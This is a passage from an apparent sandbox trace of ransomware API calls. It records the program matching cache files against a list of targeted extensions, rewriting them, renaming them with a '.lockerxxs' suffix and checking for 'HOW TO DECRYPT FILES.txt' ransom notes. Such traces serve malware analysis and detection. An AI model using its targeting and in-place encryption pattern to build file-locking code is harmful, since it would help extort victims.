Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qbm") returned 0 [0084.371] lstrlenA (lpString="*.qbm") returned 5 [0084.371] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qbo") returned 0 [0084.372] lstrlenA (lpString="*.qbo") returned 5 [0084.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qbx") returned 0 [0084.372] lstrlenA (lpString="*.qbx") returned 5 [0084.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qba") returned 0 [0084.372] lstrlenA (lpString="*.qba") returned 5 [0084.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qby") returned 0 [0084.372] lstrlenA (lpString="*.qby") returned 5 [0084.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qbj") returned 0 [0084.372] lstrlenA (lpString="*.qbj") returned 5 [0084.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.ofx") returned 0 [0084.372] lstrlenA (lpString="*.ofx") returned 5 [0084.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.qif") returned 0 [0084.372] lstrlenA (lpString="*.qif") returned 5 [0084.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.mye") returned 0 [0084.372] lstrlenA (lpString="*.mye") returned 5 [0084.372] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.mbox") returned 0 [0084.372] lstrlenA (lpString="*.mbox") returned 6 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.eml") returned 0 [0084.373] lstrlenA (lpString="*.eml") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.pst") returned 0 [0084.373] lstrlenA (lpString="*.pst") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.ost") returned 0 [0084.373] lstrlenA (lpString="*.ost") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.idx") returned 0 [0084.373] lstrlenA (lpString="*.idx") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.dbx") returned 0 [0084.373] lstrlenA (lpString="*.dbx") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.sql") returned 0 [0084.373] lstrlenA (lpString="*.sql") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.mdb") returned 0 [0084.373] lstrlenA (lpString="*.mdb") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.fdb") returned 0 [0084.373] lstrlenA (lpString="*.fdb") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.wab") returned 0 [0084.373] lstrlenA (lpString="*.wab") returned 5 [0084.373] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.dat") returned 0 [0084.374] lstrlenA (lpString="*.dat") returned 5 [0084.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.txt") returned 0 [0084.374] lstrlenA (lpString="*.txt") returned 5 [0084.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.jpeg") returned 0 [0084.374] lstrlenA (lpString="*.jpeg") returned 6 [0084.374] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", pszSpec="*.jpg") returned 1 [0084.374] lstrlenA (lpString="*.jpg") returned 5 [0084.374] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" [0084.374] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" [0084.374] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg." [0084.374] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.lockerxxs" [0084.374] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.375] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x857 [0084.375] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x459ad690, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x459ad690, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x459ad690, dwHighDateTime=0x1d2faf3)) returned 1 [0084.375] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.375] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x831, lpOverlapped=0x0) returned 1 [0084.377] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg") returned="BBEeEwt[1].jpg" [0084.377] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.377] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x831, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x831, lpOverlapped=0x0) returned 1 [0084.378] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.378] CloseHandle (hObject=0xa4) returned 1 [0084.378] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg.lockerxxs")) returned 1 [0084.379] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4593b270, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4593b270, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4593b270, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x7d9, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEeis3[1].jpg", cAlternateFileName="BBEEIS~1.JPG")) returned 1 [0084.379] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.379] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEeis3[1].jpg") returned 1 [0084.379] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEeis3[1].jpg") returned 1 [0084.379] lstrcmpiA (lpString1="", lpString2="BBEeis3[1].jpg") returned -1 [0084.379] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg") returned="BBEeEwt[1].jpg" [0084.379] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.379] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.379] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.380] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.380] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEeis3[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.ems") returned 0 [0084.380] lstrlenA (lpString="*.ems") returned 5 [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.db") returned 0 [0084.380] lstrlenA (lpString="*.db") returned 4 [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.dbf") returned 0 [0084.380] lstrlenA (lpString="*.dbf") returned 5 [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.myox") returned 0 [0084.380] lstrlenA (lpString="*.myox") returned 6 [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.myo") returned 0 [0084.380] lstrlenA (lpString="*.myo") returned 5 [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qbw") returned 0 [0084.380] lstrlenA (lpString="*.qbw") returned 5 [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qbb") returned 0 [0084.380] lstrlenA (lpString="*.qbb") returned 5 [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qbm") returned 0 [0084.380] lstrlenA (lpString="*.qbm") returned 5 [0084.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qbo") returned 0 [0084.380] lstrlenA (lpString="*.qbo") returned 5 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qbx") returned 0 [0084.381] lstrlenA (lpString="*.qbx") returned 5 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qba") returned 0 [0084.381] lstrlenA (lpString="*.qba") returned 5 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qby") returned 0 [0084.381] lstrlenA (lpString="*.qby") returned 5 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qbj") returned 0 [0084.381] lstrlenA (lpString="*.qbj") returned 5 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.ofx") returned 0 [0084.381] lstrlenA (lpString="*.ofx") returned 5 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.qif") returned 0 [0084.381] lstrlenA (lpString="*.qif") returned 5 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.mye") returned 0 [0084.381] lstrlenA (lpString="*.mye") returned 5 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.mbox") returned 0 [0084.381] lstrlenA (lpString="*.mbox") returned 6 [0084.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.eml") returned 0 [0084.381] lstrlenA (lpString="*.eml") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.pst") returned 0 [0084.382] lstrlenA (lpString="*.pst") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.ost") returned 0 [0084.382] lstrlenA (lpString="*.ost") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.idx") returned 0 [0084.382] lstrlenA (lpString="*.idx") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.dbx") returned 0 [0084.382] lstrlenA (lpString="*.dbx") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.sql") returned 0 [0084.382] lstrlenA (lpString="*.sql") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.mdb") returned 0 [0084.382] lstrlenA (lpString="*.mdb") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.fdb") returned 0 [0084.382] lstrlenA (lpString="*.fdb") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.wab") returned 0 [0084.382] lstrlenA (lpString="*.wab") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.dat") returned 0 [0084.382] lstrlenA (lpString="*.dat") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.txt") returned 0 [0084.382] lstrlenA (lpString="*.txt") returned 5 [0084.382] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.jpeg") returned 0 [0084.383] lstrlenA (lpString="*.jpeg") returned 6 [0084.383] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", pszSpec="*.jpg") returned 1 [0084.383] lstrlenA (lpString="*.jpg") returned 5 [0084.383] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" [0084.383] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" [0084.383] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg." [0084.383] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.lockerxxs" [0084.383] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS 